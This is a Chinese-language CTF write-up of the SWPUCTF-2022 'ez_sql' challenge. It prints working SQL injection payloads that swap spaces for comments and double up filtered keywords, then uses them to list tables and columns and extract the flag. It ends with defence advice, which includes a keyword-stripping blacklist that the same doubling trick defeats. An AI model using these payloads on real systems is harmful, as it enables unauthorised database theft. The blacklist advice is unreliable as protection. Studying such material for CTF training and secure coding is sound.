CTF SQL注入实战:SWPUCTF-2022 ez_sql 双写绕过与注释符应用解析
CTF SQL注入实战:SWPUCTF-2022 ez_sql 双写绕过与注释符应用解析
在网络安全竞赛中,SQL注入始终是最基础也最考验技巧的题型之一。今天我们将通过SWPUCTF-2022新生赛的ez_sql题目,深入剖析字符型注入中双写绕过与注释符替代空格的实战技巧,这些方法在面对严格过滤机制时往往能出奇制胜。
1. 题目环境与初步探测
首先我们面对的是一个典型的登录框界面,通过POST方式传递参数。初始尝试提交空参数时,系统返回"球球你输入点东西吧"的提示,这暗示着参数校验机制的存在。
关键发现:
参数名为
nss提交任意值后返回"假的flag",说明存在真假flag机制
初步判断为字符型注入,测试单引号触发报错:
nss=1' -- 引发语法错误
通过报错信息确认存在SQL注入漏洞后,我们注意到系统对以下关键词进行了过滤:
- 空格字符
- 'or'字符串
- 'union'字符串
- 'information_schema'字符串
2. 绕过过滤的核心技巧
2.1 注释符替代空格
当空格被过滤时,MySQL支持多种替代方案:
/**/ -- 最稳定的替代方式 %09 -- TAB键的URL编码 %0a -- 换行符 %0b -- 垂直制表符 %0c -- 换页符 %0d -- 回车符在本题中,我们选择使用/**/作为空格的替代方案,构造如下payload测试列数:
nss=-1'/**/oorrder/**/by/**/4#提示:使用负值(-1)可以确保原始查询不返回数据,使union注入的结果能够完整显示
2.2 双写绕过关键词过滤
当关键操作符被过滤时,双写绕过是经典解决方案:
| 原始关键词 | 双写变形 | 原理 |
|---|---|---|
| union | ununionion | WAF可能只检测完整单词 |
| or | oorr | 匹配中间插入字符 |
| information_schema | infoorrmation_schema | 破坏关键词连续性 |
实战payload示例:
nss=-1'/**/ununionion/**/select/**/1,group_concat(table_name),3/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1%233. 完整攻击链构建
3.1 数据库结构探测
通过逐步注入,我们获取到以下信息:
- 数据库名称:NSS_db
- 数据表列表:
| 表名 | 用途推测 | |---------|----------| | NSS_tb | 目标表 | | users | 干扰表 | - 目标表字段:
返回字段:nss=-1'/**/ununionion/**/select/**/1,group_concat(column_name),3/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1%23id, Secr3t, flll444g
3.2 数据提取技巧
针对多字段表,推荐使用group_concat组合查询:
nss=-1'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_db.NSS_tb/**/limit/**/1,1%23结果处理建议:
- 当返回数据过长被截断时,使用
substring分段提取 - 对特殊字符编码使用
hex()函数转换 - 多表关联时注意使用表名前缀避免歧义
4. 本地测试环境搭建
为更好理解题目,建议搭建本地测试环境:
# Docker快速部署MySQL环境 docker run -p 3306:3306 --name ctf-sql -e MYSQL_ROOT_PASSWORD=ctf123 -d mysql:5.7 # 创建题目数据库 CREATE DATABASE NSS_db; USE NSS_db; # 创建数据表结构 CREATE TABLE NSS_tb( id INT PRIMARY KEY, Secr3t VARCHAR(100), flll444g VARCHAR(100) ); CREATE TABLE users(id INT, username VARCHAR(50)); # 插入测试数据 INSERT INTO NSS_tb VALUES(1, 'dummy', 'NSSCTF{e9e4d32b-8d81-4718-b0c7-54c3c29110f1}');5. 防御方案与思考
通过本题我们可以总结出防护SQL注入的进阶方案:
预处理语句:
$stmt = $conn->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $input);多层过滤机制:
- 正则表达式过滤:
preg_replace('/(union|select|or)/i', '', $input) - 字符黑名单:禁止
/*,--,#等注释符号 - 长度限制:防止过长的注入payload
- 正则表达式过滤:
最小权限原则:
CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'strongpass'; GRANT SELECT ON NSS_db.NSS_tb TO 'webuser'@'localhost';
在实际CTF比赛中,遇到过滤机制时建议:
- 先测试所有空白字符变体
- 尝试大小写混合、双写、注释分割等绕过方式
- 考虑使用
like,regexp等替代= - 必要时使用十六进制编码绕过关键词检测
这道题目生动展示了即使在严格过滤条件下,通过灵活组合基础技巧仍能完成注入攻击。理解这些原理不仅能提升CTF解题能力,更能帮助开发人员构建更安全的Web应用。
